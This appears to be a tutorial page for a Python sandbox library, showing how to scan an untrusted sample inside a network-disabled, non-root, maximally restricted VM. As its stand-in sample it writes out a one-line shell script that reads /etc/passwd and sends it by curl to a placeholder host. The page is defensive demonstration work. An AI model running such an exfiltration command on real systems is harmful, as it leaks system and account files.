Run untrusted tools safely

import asyncio

from boxlite import SimpleBox, NetworkSpec, SecurityOptions
from boxlite.boxlite import AdvancedBoxOptions  # not exported at the top level


async def scan_untrusted(sample_host_path: str) -> dict:
    """Run an untrusted tool over an untrusted sample and return a verdict."""
    async with SimpleBox(
        image="alpine:latest",
        # 1) No network at all — exfiltration and call-backs have nowhere to go
        network=NetworkSpec(mode="disabled"),
        # 2) Drop privileges: run as a non-root uid:gid
        user="1000:1000",
        # 3) Tightest OS-level sandbox around the VM
        advanced=AdvancedBoxOptions(security=SecurityOptions.maximum()),
    ) as box:
        # 4) The sample enters explicitly — copy_in is async, always await it
        await box.copy_in(sample_host_path, "/work/sample")

        # 5) Run the tool. exec does not raise on a non-zero exit; read it yourself.
        result = await box.exec("sh", "-c", "ls -l /work/sample; file /work/sample")

        return {
            "exit_code": result.exit_code,
            "stdout": result.stdout,
            "stderr": result.stderr,
        }


async def main() -> None:
    # Stand-in for a real untrusted sample
    with open("/tmp/untrusted_sample.bin", "wb") as handle:
        handle.write(b"#!/bin/sh\ncurl http://example.invalid/$(cat /etc/passwd)\n")

    try:
        report = await scan_untrusted("/tmp/untrusted_sample.bin")
        print("exit_code:", report["exit_code"])
        print(report["stdout"])
    except RuntimeError as exc:
        print(f"sandbox failed to start: {exc}")


asyncio.run(main())

network=NetworkSpec(mode="enabled", allow_net=["updates.example.com"])

python scan.py

exit_code: 0
-rw-r--r--    1 1000     1000            48 Jan  1 00:00 /work/sample
/work/sample: POSIX shell script, ASCII text executable